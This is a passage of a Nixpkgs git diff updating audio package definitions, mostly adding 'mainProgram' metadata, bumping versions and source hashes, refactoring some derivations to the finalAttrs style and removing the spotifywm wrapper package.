e92319127d7d2..74d2e305b74f3 100644 --- a/pkgs/applications/audio/picoloop/default.nix +++ b/pkgs/applications/audio/picoloop/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/yoyz/picoloop"; platforms = platforms.linux; license = licenses.bsd3; + mainProgram = "picoloop"; }; } diff --git a/pkgs/applications/audio/pmidi/default.nix b/pkgs/applications/audio/pmidi/default.nix index 43f38ff84ed02..c8725fa9a36a7 100644 --- a/pkgs/applications/audio/pmidi/default.nix +++ b/pkgs/applications/audio/pmidi/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation { description = "A straightforward command line program to play midi files through the ALSA sequencer"; maintainers = with maintainers; [ lheckemann ]; license = licenses.gpl2; + mainProgram = "pmidi"; }; } diff --git a/pkgs/applications/audio/pms/default.nix b/pkgs/applications/audio/pms/default.nix index bb6d018efe4ae..d8c7bffcb0f44 100644 --- a/pkgs/applications/audio/pms/default.nix +++ b/pkgs/applications/audio/pms/default.nix @@ -18,5 +18,6 @@ buildGoModule { homepage = "https://ambientsound.github.io/pms/"; license = licenses.mit; maintainers = with maintainers; [ deejayem ]; + mainProgram = "pms"; }; } diff --git a/pkgs/applications/audio/praat/default.nix b/pkgs/applications/audio/praat/default.nix index 4fd62e984dfef..0f98ba2357a58 100644 --- a/pkgs/applications/audio/praat/default.nix +++ b/pkgs/applications/audio/praat/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "praat"; - version = "6.4.05"; + version = "6.4.06"; src = fetchFromGitHub { owner = "praat"; repo = "praat"; rev = "v${finalAttrs.version}"; - hash = "sha256-ctCDxE//vH4i22bKYBs14pdmp+1M6K+w7Tm22ZoGOf8="; + hash = "sha256-eZYNXNmxrvI+jR1UEgXrsUTriZ8zTTwM9cEy7HgiZzs="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/audio/proteus/default.nix b/pkgs/applications/audio/proteus/default.nix index b536af040d784..ab2bdae4ef0fc 100644 --- a/pkgs/applications/audio/proteus/default.nix +++ b/pkgs/applications/audio/proteus/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; platforms = platforms.linux; maintainers = with maintainers; [ orivej ]; + mainProgram = "Proteus"; }; } diff --git a/pkgs/applications/audio/psst/default.nix b/pkgs/applications/audio/psst/default.nix index 58d39e8747201..46958b01bd1c9 100644 --- a/pkgs/applications/audio/psst/default.nix +++ b/pkgs/applications/audio/psst/default.nix @@ -16,13 +16,13 @@ let in rustPlatform.buildRustPackage rec { pname = "psst"; - version = "unstable-2024-01-28"; + version = "unstable-2024-03-04"; src = fetchFromGitHub { owner = "jpochyla"; repo = pname; - rev = "38422b1795c98d8d0e3bc8dc479d12f8d5bd7154"; - hash = "sha256-VTbjlSfkbon38IPBCazwrZtWR8dH9mE0sSVIlmxcUks="; + rev = "0cb4f6964b5ba771182ccfe005260a86a494ef92"; + hash = "sha256-W+MFToyvYDQuC/8DqigvENxzJ6QGQOAeAdmdWG6+qZk="; }; cargoLock = { @@ -68,5 +68,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/jpochyla/psst"; license = licenses.mit; maintainers = with maintainers; [ vbrandl peterhoeg ]; + mainProgram = "psst-gui"; }; } diff --git a/pkgs/applications/audio/psst/make-build-reproducible.patch b/pkgs/applications/audio/psst/make-build-reproducible.patch index e70b7e726ea58..fb74db8ccb995 100644 --- a/pkgs/applications/audio/psst/make-build-reproducible.patch +++ b/pkgs/applications/audio/psst/make-build-reproducible.patch @@ -51,7 +51,7 @@ index fcbd491..2d71ee3 100644 -pub const GIT_VERSION: &str = git_version!(); -pub const BUILD_TIME: &str = include!(concat!(env!("OUT_DIR"), "/build-time.txt")); -pub const REMOTE_URL: &str = include!(concat!(env!("OUT_DIR"), "/remote-url.txt")); -+pub const GIT_VERSION: &str = "38422b1795c98d8d0e3bc8dc479d12f8d5bd7154"; ++pub const GIT_VERSION: &str = "0cb4f6964b5ba771182ccfe005260a86a494ef92"; +pub const BUILD_TIME: &str = "1970-01-01 00:00:00"; +pub const REMOTE_URL: &str = "https://github.com/jpochyla/psst"; diff --git a/pkgs/applications/audio/pt2-clone/default.nix b/pkgs/applications/audio/pt2-clone/default.nix index b8775bc235320..0f4bb9957f7a8 100644 --- a/pkgs/applications/audio/pt2-clone/default.nix +++ b/pkgs/applications/audio/pt2-clone/default.nix @@ -6,14 +6,14 @@ , SDL2 }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "pt2-clone"; version = "1.66.1"; src = fetchFromGitHub { owner = "8bitbubsy"; repo = "pt2-clone"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-j7VPC1sj1Q+wL2TBgv06uYLPqym8F57HG1SRvj0Ggeo="; }; @@ -39,6 +39,6 @@ stdenv.mkDerivation rec { # From HOW-TO-COMPILE.txt: # > This code is NOT big-endian compatible platforms = platforms.littleEndian; + mainProgram = "pt2-clone"; }; -} - +}) diff --git a/pkgs/applications/audio/puredata/default.nix b/pkgs/applications/audio/puredata/default.nix index f8df443f5c788..44015fc48881e 100644 --- a/pkgs/applications/audio/puredata/default.nix +++ b/pkgs/applications/audio/puredata/default.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "puredata"; - version = "0.54-0"; + version = "0.54-1"; src = fetchurl { url = "http://msp.ucsd.edu/Software/pd-${version}.src.tar.gz"; - hash = "sha256-6MFKfYV5CWxuOsm1V4LaYChIRIlx0Qcwah5SbtBFZIU="; + hash = "sha256-hcPUvTYgtAHntdWEeHoFIIKylMTE7us1g9dwnZP9BMI="; }; nativeBuildInputs = [ autoreconfHook gettext makeWrapper ]; diff --git a/pkgs/applications/audio/pyradio/default.nix b/pkgs/applications/audio/pyradio/default.nix index 2fc911222da9e..e9ef64260f465 100644 --- a/pkgs/applications/audio/pyradio/default.nix +++ b/pkgs/applications/audio/pyradio/default.nix @@ -6,13 +6,13 @@ python3Packages.buildPythonApplication rec { pname = "pyradio"; - version = "0.9.1"; + version = "0.9.2.25"; src = fetchFromGitHub { owner = "coderholic"; - repo = pname; + repo = "pyradio"; rev = "refs/tags/${version}"; - hash = "sha256-tu/qlrbTcUCIRF15x9ATKHH+LDy1OsGJpo5x+CerTKg="; + hash = "sha256-GkOp0iK84HDvVH8RmtmIKJ5EtQIECgZS5g8pmaIhUcc="; }; nativeBuildInputs = [ @@ -20,9 +20,12 @@ python3Packages.buildPythonApplication rec { ]; propagatedBuildInputs = with python3Packages; [ - requests - psutil dnspython + netifaces + psutil + python-dateutil + requests + rich ]; checkPhase = '' diff --git a/pkgs/applications/audio/raysession/default.nix b/pkgs/applications/audio/raysession/default.nix index 4db6072a4805c..61051f79b3769 100644 --- a/pkgs/applications/audio/raysession/default.nix +++ b/pkgs/applications/audio/raysession/default.nix @@ -2,11 +2,11 @@ buildPythonApplication rec { pname = "raysession"; - version = "0.14.2"; + version = "0.14.3"; src = fetchurl { url = "https://github.com/Houston4444/RaySession/releases/download/v${version}/RaySession-${version}-source.tar.gz"; - sha256 = "sha256-qEN3zBK/goRLIZaU06XXm8H5yj4Qjj/NH+bkHkjhLaw="; + sha256 = "sha256-3+g1zdjGkxNEpyuKuxzhr2p9gkEFjYAso4fPedbjmlY="; }; postPatch = '' diff --git a/pkgs/applications/audio/rhvoice/default.nix b/pkgs/applications/audio/rhvoice/default.nix index af2ce6ae25bae..7fe8a12dd42d7 100644 --- a/pkgs/applications/audio/rhvoice/default.nix +++ b/pkgs/applications/audio/rhvoice/default.nix @@ -12,14 +12,14 @@ stdenv.mkDerivation rec { pname = "rhvoice"; - version = "1.8.0"; + version = "1.14.0"; src = fetchFromGitHub { owner = "RHVoice"; repo = "RHVoice"; rev = version; fetchSubmodules = true; - hash = "sha256-G5886rjBaAp0AXcr07O0q7K1OXTayfIbd4zniKwDiLw="; + hash = "sha256-eduKnxSTIDTxcW3ExueNxVKf8SjmXkVeTfHvJ0eyBPY="; }; patches = [ @@ -51,5 +51,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3; maintainers = with lib.maintainers; [ berce ]; platforms = with lib.platforms; all; + mainProgram = "RHVoice-test"; }; } diff --git a/pkgs/applications/audio/roomeqwizard/default.nix b/pkgs/applications/audio/roomeqwizard/default.nix index 80b5f733ce067..c54726d058d45 100644 --- a/pkgs/applications/audio/roomeqwizard/default.nix +++ b/pkgs/applications/audio/roomeqwizard/default.nix @@ -14,11 +14,11 @@ stdenv.mkDerivation rec { pname = "roomeqwizard"; - version = "5.30.8"; + version = "5.30.9"; src = fetchurl { url = "https://www.roomeqwizard.com/installers/REW_linux_no_jre_${lib.replaceStrings [ "." ] [ "_" ] version}.sh"; - sha256 = "sha256-ZHxMwbT2SoWEIuBJEuuVhU26V4NAbJKqx3lawedIwYo="; + sha256 = "sha256-gyitOq/HTDruP4nY6B7y1E+pL43yRhldyiiXEjKyogU="; }; dontUnpack = true; @@ -114,5 +114,6 @@ stdenv.mkDerivation rec { REW is free software for room acoustic measurement, loudspeaker measurement and audio device measurement. ''; + mainProgram = "roomeqwizard"; }; } diff --git a/pkgs/applications/audio/schismtracker/default.nix b/pkgs/applications/audio/schismtracker/default.nix index 68e9fcd7e1909..46f6237ce3225 100644 --- a/pkgs/applications/audio/schismtracker/default.nix +++ b/pkgs/applications/audio/schismtracker/default.nix @@ -43,5 +43,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = with maintainers; [ ftrvxmtrx ]; + mainProgram = "schismtracker"; }; } diff --git a/pkgs/applications/audio/seq24/default.nix b/pkgs/applications/audio/seq24/default.nix index f586a1592f9c0..f2858f8f291f1 100644 --- a/pkgs/applications/audio/seq24/default.nix +++ b/pkgs/applications/audio/seq24/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.linux; maintainers = with maintainers; [ goibhniu ]; + mainProgram = "seq24"; }; } diff --git a/pkgs/applications/audio/sfxr/default.nix b/pkgs/applications/audio/sfxr/default.nix index caef7fdd19a05..08efb76903351 100644 --- a/pkgs/applications/audio/sfxr/default.nix +++ b/pkgs/applications/audio/sfxr/default.nix @@ -9,12 +9,12 @@ , wrapGAppsHook }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "sfxr"; version = "1.2.1"; src = fetchurl { - url = "http://www.drpetter.se/files/sfxr-sdl-${version}.tar.gz"; + url = "http://www.drpetter.se/files/sfxr-sdl-${finalAttrs.version}.tar.gz"; sha256 = "0dfqgid6wzzyyhc0ha94prxax59wx79hqr25r6if6by9cj4vx4ya"; }; @@ -62,5 +62,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.unix; }; -} - +}) diff --git a/pkgs/applications/audio/snapcast/default.nix b/pkgs/applications/audio/snapcast/default.nix index d155afb99ba4d..782a558649145 100644 --- a/pkgs/applications/audio/snapcast/default.nix +++ b/pkgs/applications/audio/snapcast/default.nix @@ -1,5 +1,5 @@ { stdenv, lib, fetchFromGitHub, fetchpatch, cmake, pkg-config -, alsa-lib, asio, avahi, boost179, flac, libogg, libvorbis, soxr +, alsa-lib, asio, avahi, boost179, flac, libogg, libvorbis, libopus, soxr , IOKit, AudioToolbox , aixlog, popl , pulseaudioSupport ? false, libpulseaudio @@ -32,7 +32,7 @@ stdenv.mkDerivation rec { # not needed buildInputs = [ boost179 - asio avahi flac libogg libvorbis + asio avahi flac libogg libvorbis libopus aixlog popl soxr ] ++ lib.optional pulseaudioSupport libpulseaudio ++ lib.optional stdenv.isLinux alsa-lib diff --git a/pkgs/applications/audio/snd/default.nix b/pkgs/applications/audio/snd/default.nix index 777b452792cc1..9151cdff76085 100644 --- a/pkgs/applications/audio/snd/default.nix +++ b/pkgs/applications/audio/snd/default.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation rec { pname = "snd"; - version = "24.0"; + version = "24.1"; src = fetchurl { url = "mirror://sourceforge/snd/snd-${version}.tar.gz"; - sha256 = "sha256-DU7AtPoLH+WXXsmree8GbHePvNYmPP7MxYSfhEzgOtU="; + sha256 = "sha256-hC6GddYjBD6p4zwHD3fCvZZLwpRiNKOb6aaHstRhA1M="; }; nativeBuildInputs = [ pkg-config ]; @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { platforms = platforms.unix; license = licenses.free; maintainers = with maintainers; [ ]; + mainProgram = "snd"; }; } diff --git a/pkgs/applications/audio/sndpeek/default.nix b/pkgs/applications/audio/sndpeek/default.nix index 39f706d1f24c0..c65208343aff7 100644 --- a/pkgs/applications/audio/sndpeek/default.nix +++ b/pkgs/applications/audio/sndpeek/default.nix @@ -52,5 +52,6 @@ stdenv.mkDerivation rec { homepage = "https://soundlab.cs.princeton.edu/software/sndpeek/"; license = licenses.gpl2; maintainers = [ maintainers.laikq ]; + mainProgram = "sndpeek"; }; } diff --git a/pkgs/applications/audio/songrec/default.nix b/pkgs/applications/audio/songrec/default.nix index 6eacb605a70eb..5493418ba1a27 100644 --- a/pkgs/applications/audio/songrec/default.nix +++ b/pkgs/applications/audio/songrec/default.nix @@ -44,5 +44,6 @@ rustPlatform.buildRustPackage rec { license = licenses.gpl3Only; platforms = platforms.linux; maintainers = with maintainers; [ tcbravo ]; + mainProgram = "songrec"; }; } diff --git a/pkgs/applications/audio/sonixd/default.nix b/pkgs/applications/audio/sonixd/default.nix index d13c398eabd8c..87ceb7b25e0f4 100644 --- a/pkgs/applications/audio/sonixd/default.nix +++ b/pkgs/applications/audio/sonixd/default.nix @@ -30,6 +30,7 @@ appimageTools.wrapType2 rec { license = licenses.gpl3Only; maintainers = with maintainers; [ onny ]; platforms = [ "x86_64-linux" ]; + mainProgram = "sonixd"; }; } diff --git a/pkgs/applications/audio/sonobus/default.nix b/pkgs/applications/audio/sonobus/default.nix index c99d3c4ca1e55..959c7a9d0623c 100644 --- a/pkgs/applications/audio/sonobus/default.nix +++ b/pkgs/applications/audio/sonobus/default.nix @@ -82,5 +82,6 @@ stdenv.mkDerivation (finalAttrs: { maintainers = with maintainers; [ PowerUser64 ]; platforms = platforms.unix; broken = stdenv.isDarwin; + mainProgram = "sonobus"; }; }) diff --git a/pkgs/applications/audio/sony-headphones-client/default.nix b/pkgs/applications/audio/sony-headphones-client/default.nix index b39f7272643f6..24cae82f1b02d 100644 --- a/pkgs/applications/audio/sony-headphones-client/default.nix +++ b/pkgs/applications/audio/sony-headphones-client/default.nix @@ -57,5 +57,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ stunkymonkey ]; platforms = platforms.linux; + mainProgram = "SonyHeadphonesClient"; }; } diff --git a/pkgs/applications/audio/soundtracker/default.nix b/pkgs/applications/audio/soundtracker/default.nix index f15ab26b8e098..eb51b2cd6e4bb 100644 --- a/pkgs/applications/audio/soundtracker/default.nix +++ b/pkgs/applications/audio/soundtracker/default.nix @@ -12,7 +12,7 @@ , libsndfile }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "soundtracker"; version = "1.0.4"; @@ -21,7 +21,7 @@ stdenv.mkDerivation rec { # Only the latest release is at the top level. # Nonetheless, only the name of the file seems to affect which file is # downloaded, so this path should be fine both for old and current releases. - url = "mirror://sourceforge/soundtracker/soundtracker-${version}.tar.xz"; + url = "mirror://sourceforge/soundtracker/soundtracker-${finalAttrs.version}.tar.xz"; hash = "sha256-kNt0BSRaEQY+oa1xbuZ1l6nCqXhcktVugxzcC3ZDaX0="; }; @@ -76,4 +76,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/applications/audio/spectrojack/default.nix b/pkgs/applications/audio/spectrojack/default.nix index 12bb972398e25..54cb7101e6e8f 100644 --- a/pkgs/applications/audio/spectrojack/default.nix +++ b/pkgs/applications/audio/spectrojack/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = lib.licenses.publicDomain; maintainers = with lib.maintainers; [ sleexyz ]; platforms = with lib.platforms; linux; + mainProgram = "spectrojack"; }; } diff --git a/pkgs/applications/audio/spotify-player/default.nix b/pkgs/applications/audio/spotify-player/default.nix index c2b844da72daf..0e4e5234ec003 100644 --- a/pkgs/applications/audio/spotify-player/default.nix +++ b/pkgs/applications/audio/spotify-player/default.nix @@ -33,16 +33,16 @@ assert lib.assertOneOf "withAudioBackend" withAudioBackend [ "" "alsa" "pulseaud rustPlatform.buildRustPackage rec { pname = "spotify-player"; - version = "0.16.3"; + version = "0.17.0"; src = fetchFromGitHub { owner = "aome510"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-8naLLHAVGB8ow88XjU3BpnNzY3SFC2F5uYin67hMc0E="; + hash = "sha256-fGDIlkTaRg+J6YcP9iBcJFuYm9F0UOA+v/26hhdg9/o="; }; - cargoHash = "sha256-NcNEZoERGOcMedLGJE7q9V9plx/7JSnbguZPFD1f4Qg="; + cargoHash = "sha256-oZNydOnD2+6gLAsT3YTSlWSQ06EftS7Tl/AvlTbL84U="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/applications/audio/spotify/linux.nix b/pkgs/applications/audio/spotify/linux.nix index a73c00a8fb9d2..202f8b4ceeec1 100644 --- a/pkgs/applications/audio/spotify/linux.nix +++ b/pkgs/applications/audio/spotify/linux.nix @@ -14,14 +14,14 @@ let # If an update breaks things, one of those might have valuable info: # https://aur.archlinux.org/packages/spotify/ # https://community.spotify.com/t5/Desktop-Linux - version = "1.2.26.1187.g36b715a1"; + version = "1.2.31.1205.g4d59ad7c"; # To get the latest stable revision: # curl -H 'X-Ubuntu-Series: 16' 'https://api.snapcraft.io/api/v1/snaps/details/spotify?channel=stable' | jq '.download_url,.version,.last_updated' # To get general information: # curl -H 'Snap-Device-Series: 16' 'https://api.snapcraft.io/v2/snaps/info/spotify' | jq '.' # More examples of api usage: # https://github.com/canonical-websites/snapcraft.io/blob/master/webapp/publisher/snaps/views.py - rev = "74"; + rev = "75"; deps = [ alsa-lib @@ -87,7 +87,7 @@ stdenv.mkDerivation { # https://community.spotify.com/t5/Desktop-Linux/Redistribute-Spotify-on-Linux-Distributions/td-p/1695334 src = fetchurl { url = "https://api.snapcraft.io/api/v1/snaps/download/pOBIoZ2LrCB3rDohMxoYGnbN14EHOgD7_${rev}.snap"; - hash = "sha512-Muurn4ih54oVTvLGuRfTPCgGSRImE8O0S5k7gZ4Utgrz3TKgVrthY9AXldP8v+qLcfIrrYwixJy2WGuur9E0jg=="; + hash = "sha512-o4iLcbNqbsxo9YJMy0SXO7Udv4CMhhBcsf53UuqWKFFWY/jKVN+Lb+dB7Jf9+UowpmbrP44w97Oi+dnbfFXYjQ=="; }; nativeBuildInputs = [ wrapGAppsHook makeShellWrapper squashfsTools ]; diff --git a/pkgs/applications/audio/spotifyd/default.nix b/pkgs/applications/audio/spotifyd/default.nix index d0a77ab064979..0e41bedb2650c 100644 --- a/pkgs/applications/audio/spotifyd/default.nix +++ b/pkgs/applications/audio/spotifyd/default.nix @@ -44,5 +44,6 @@ rustPackages.rustPlatform.buildRustPackage rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ anderslundstedt Br1ght0ne marsam ]; platforms = platforms.unix; + mainProgram = "spotifyd"; }; } diff --git a/pkgs/applications/audio/spotifywm/default.nix b/pkgs/applications/audio/spotifywm/default.nix deleted file mode 100644 index c2248056834e5..0000000000000 --- a/pkgs/applications/audio/spotifywm/default.nix +++ /dev/null @@ -1,39 +0,0 @@ -{ lib, stdenv, fetchFromGitHub, spotify, xorg, makeWrapper }: -stdenv.mkDerivation { - pname = "spotifywm-unstable"; - version = "2022-10-26"; - - src = fetchFromGitHub { - owner = "dasJ"; - repo = "spotifywm"; - rev = "8624f539549973c124ed18753881045968881745"; - sha256 = "sha256-AsXqcoqUXUFxTG+G+31lm45gjP6qGohEnUSUtKypew0="; - }; - - nativeBuildInputs = [ makeWrapper ]; - - buildInputs = [ xorg.libX11 ]; - - installPhase = '' - runHook preInstall - - mkdir -p $out/{bin,lib} - install -Dm644 spotifywm.so $out/lib/ - ln -sf ${spotify}/bin/spotify $out/bin/spotify - - # wrap spotify to use spotifywm.so - wrapProgram $out/bin/spotify --set LD_PRELOAD "$out/lib/spotifywm.so" - # backwards compatibility for people who are using the "spotifywm" binary - ln -sf $out/bin/spotify $out/bin/spotifywm - - runHook postInstall - ''; - - meta = with lib; { - homepage = "https://github.com/dasJ/spotifywm"; - description = "Wrapper around Spotify that correctly sets class name before opening the window"; - license = licenses.mit; - platforms = platforms.linux; - maintainers = with maintainers; [ jqueiroz the-argus ]; - }; -} diff --git a/pkgs/applications/audio/sptlrx/default.nix b/pkgs/applications/audio/sptlrx/default.nix index 6743407fa3ed0..b385898202c20 100644 --- a/pkgs/applications/audio/sptlrx/default.nix +++ b/pkgs/applications/audio/sptlrx/default.nix @@ -29,5 +29,6 @@ buildGoModule rec { changelog = "https://github.com/raitonoberu/sptlrx/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ MoritzBoehme ]; + mainProgram = "sptlrx"; }; } diff --git a/pkgs/applications/audio/squeezelite/default.nix b/pkgs/applications/audio/squeezelite/default.nix index 58261e4a9fcc6..3fd633506b2d4 100644 --- a/pkgs/applications/audio/squeezelite/default.nix +++ b/pkgs/applications/audio/squeezelite/default.nix @@ -45,13 +45,13 @@ stdenv.mkDerivation { pname = binName; # versions are specified in `squeezelite.h` # see https://github.com/ralph-irving/squeezelite/issues/29 - version = "2.0.0.1465"; + version = "2.0.0.1468"; src = fetchFromGitHub { owner = "ralph-irving"; repo = "squeezelite"; - rev = "6de9e229aa4cc7c3131ff855f3ead39581127090"; - hash = "sha256-qSRmiX1+hbsWQsU9cRQ7QRkdXs5Q6aE7n7lxZsx8+Hs="; + rev = "fd89d67b1b9a17a6dd212be0c91d0417b440f60a"; + hash = "sha256-wYVRlv+Y1jvdAGlj2zXKUhQBwWX9pGgNX6U71PsfySg="; }; buildInputs = [ flac libmad libvorbis mpg123 ] diff --git a/pkgs/applications/audio/squishyball/default.nix b/pkgs/applications/audio/squishyball/default.nix index 1d3bb0e0beeb7..af8eb9b373142 100644 --- a/pkgs/applications/audio/squishyball/default.nix +++ b/pkgs/applications/audio/squishyball/default.nix @@ -56,5 +56,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ michalrus ]; platforms = platforms.linux; + mainProgram = "squishyball"; }; } diff --git a/pkgs/applications/audio/stochas/default.nix b/pkgs/applications/audio/stochas/default.nix index 2b72664347e60..4f7ff6b6b5b41 100644 --- a/pkgs/applications/audio/stochas/default.nix +++ b/pkgs/applications/audio/stochas/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "stochas"; - version = "1.3.9"; + version = "1.3.10"; src = fetchFromGitHub { owner = "surge-synthesizer"; repo = pname; rev = "v${version}"; - sha256 = "sha256-AnYViWterLBsTtd0wohff1CEwrSYA4CvOLGhJnPFUt8="; + sha256 = "sha256-L7dzUUQNCwcuQavUx9hBH0FX5KSocfeYUv5qBcPD2Vg="; fetchSubmodules = true; }; diff --git a/pkgs/applications/audio/streamripper/default.nix b/pkgs/applications/audio/streamripper/default.nix index 70ff4dd8605a9..6874d2f420597 100644 --- a/pkgs/applications/audio/streamripper/default.nix +++ b/pkgs/applications/audio/streamripper/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { homepage = "https://streamripper.sourceforge.net/"; description = "Application that lets you record streaming mp3 to your hard drive"; license = licenses.gpl2; + mainProgram = "streamripper"; }; } diff --git a/pkgs/applications/audio/subtitlr/default.nix b/pkgs/applications/audio/subtitlr/default.nix index a62cd3053f7c1..67847f3b91b02 100644 --- a/pkgs/applications/audio/subtitlr/default.nix +++ b/pkgs/applications/audio/subtitlr/default.nix @@ -31,5 +31,6 @@ buildGoModule rec { homepage = "https://github.com/yoanbernabeu/Subtitlr/"; license = licenses.mit; maintainers = with maintainers; [ qjoly ]; + mainProgram = "Subtitlr"; }; } diff --git a/pkgs/applications/audio/surge-XT/default.nix b/pkgs/applications/audio/surge-XT/default.nix index ccd5ad12c0e87..9f234b5e71c04 100644 --- a/pkgs/applications/audio/surge-XT/default.nix +++ b/pkgs/applications/audio/surge-XT/default.nix @@ -2,6 +2,7 @@ , lib , fetchFromGitHub , cmake +, gitMinimal , pkg-config , alsa-lib , freetype @@ -14,41 +15,23 @@ , libXrandr }: -let - juce-lv2 = stdenv.mkDerivation { - pname = "juce-lv2"; - version = "unstable-2023-03-04"; - - # lv2 branch - src = fetchFromGitHub { - owner = "lv2-porting-project"; - repo = "JUCE"; - rev = "e825ad977cf4499a7bfa05b97b208236f8fd253b"; - sha256 = "sha256-Fqp1y9BN0E9p/12ukG1oh3COhXNRWBAlFRSl0LPyiFc="; - }; - - dontConfigure = true; - dontBuild = true; - - installPhase = '' - cp -r . $out - ''; - }; -in stdenv.mkDerivation rec { pname = "surge-XT"; - version = "1.2.3"; + version = "1.3.1"; src = fetchFromGitHub { owner = "surge-synthesizer"; repo = "surge"; rev = "release_xt_${version}"; + branchName = "release-xt/${version}"; fetchSubmodules = true; - sha256 = "sha256-DGzdzoCjMGEDltEwlPvLk2tyMVRH1Ql2Iq1ypogw/m0="; + leaveDotGit = true; + sha256 = "sha256-q6qs/OhIakF+Gc8Da3pnfkUGYDUoJbvee0o8dfrRI2U="; }; nativeBuildInputs = [ cmake + gitMinimal pkg-config ]; @@ -67,8 +50,7 @@ stdenv.mkDerivation rec { enableParallelBuilding = true; cmakeFlags = [ - "-DJUCE_SUPPORTS_LV2=ON" - "-DSURGE_JUCE_PATH=${juce-lv2}" + "-DSURGE_BUILD_LV2=TRUE" ]; CXXFLAGS = [ diff --git a/pkgs/applications/audio/svox/default.nix b/pkgs/applications/audio/svox/default.nix index 044fd176481f9..acd1de1a20c9e 100644 --- a/pkgs/applications/audio/svox/default.nix +++ b/pkgs/applications/audio/svox/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation { platforms = platforms.linux; license = licenses.asl20; maintainers = with maintainers; [ abbradar ]; + mainProgram = "pico2wave"; }; } diff --git a/pkgs/applications/audio/synaesthesia/default.nix b/pkgs/applications/audio/synaesthesia/default.nix index efdd6f7e73a7e..765e724cd8ecb 100644 --- a/pkgs/applications/audio/synaesthesia/default.nix +++ b/pkgs/applications/audio/synaesthesia/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Only; platforms = lib.platforms.linux; maintainers = [ lib.maintainers.infinisil ]; + mainProgram = "synaesthesia"; }; } diff --git a/pkgs/applications/audio/tagutil/default.nix b/pkgs/applications/audio/tagutil/default.nix index 9cd9946be60db..51aaf75cddbcf 100644 --- a/pkgs/applications/audio/tagutil/default.nix +++ b/pkgs/applications/audio/tagutil/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { license = licenses.bsd2; maintainers = with maintainers; [ dan4ik605743 ]; platforms = platforms.linux; + mainProgram = "tagutil"; }; } diff --git a/pkgs/applications/audio/timemachine/default.nix b/pkgs/applications/audio/timemachine/default.nix index 042e6b4307560..c09a9b1bc0079 100644 --- a/pkgs/applications/audio/timemachine/default.nix +++ b/pkgs/applications/audio/timemachine/default.nix @@ -27,6 +27,7 @@ stdenv.mkDerivation rec { license = lib.licenses.lgpl2; platforms = lib.platforms.linux; maintainers = [ lib.maintainers.nico202 ]; + mainProgram = "timemachine"; }; } diff --git a/pkgs/applications/audio/tone/default.nix b/pkgs/applications/audio/tone/default.nix index 06529a4b02e43..dc10439ab0fc9 100644 --- a/pkgs/applications/audio/tone/default.nix +++ b/pkgs/applications/audio/tone/default.nix @@ -28,5 +28,6 @@ buildDotnetModule rec { license = licenses.asl20; maintainers = [ maintainers.jvanbruegge ]; platforms = platforms.linux; + mainProgram = "tone"; }; } diff --git a/pkgs/applications/audio/tonelib-gfx/default.nix b/pkgs/applications/audio/tonelib-gfx/default.nix index e875b80855340..260ebd40872ef 100644 --- a/pkgs/applications/audio/tonelib-gfx/default.nix +++ b/pkgs/applications/audio/tonelib-gfx/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ dan4ik605743 orivej ]; platforms = [ "x86_64-linux" ]; + mainProgram = "ToneLib-GFX"; }; } diff --git a/pkgs/applications/audio/tonelib-jam/default.nix b/pkgs/applications/audio/tonelib-jam/default.nix index 3376ae8ca10f0..289f8b92a189d 100644 --- a/pkgs/applications/audio/tonelib-jam/default.nix +++ b/pkgs/applications/audio/tonelib-jam/default.nix @@ -58,5 +58,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ dan4ik605743 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "ToneLib-Jam"; }; } diff --git a/pkgs/applications/audio/tonelib-metal/default.nix b/pkgs/applications/audio/tonelib-metal/default.nix index df6890d65da32..aee3c383ae68f 100644 --- a/pkgs/applications/audio/tonelib-metal/default.nix +++ b/pkgs/applications/audio/tonelib-metal/default.nix @@ -57,5 +57,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ dan4ik605743 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "ToneLib-Metal"; }; } diff --git a/pkgs/applications/audio/tonelib-noisereducer/default.nix b/pkgs/applications/audio/tonelib-noisereducer/default.nix index 20dbe8c19dffc..f2f01b9326bcf 100644 --- a/pkgs/applications/audio/tonelib-noisereducer/default.nix +++ b/pkgs/applications/audio/tonelib-noisereducer/default.nix @@ -56,5 +56,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ orivej ]; platforms = [ 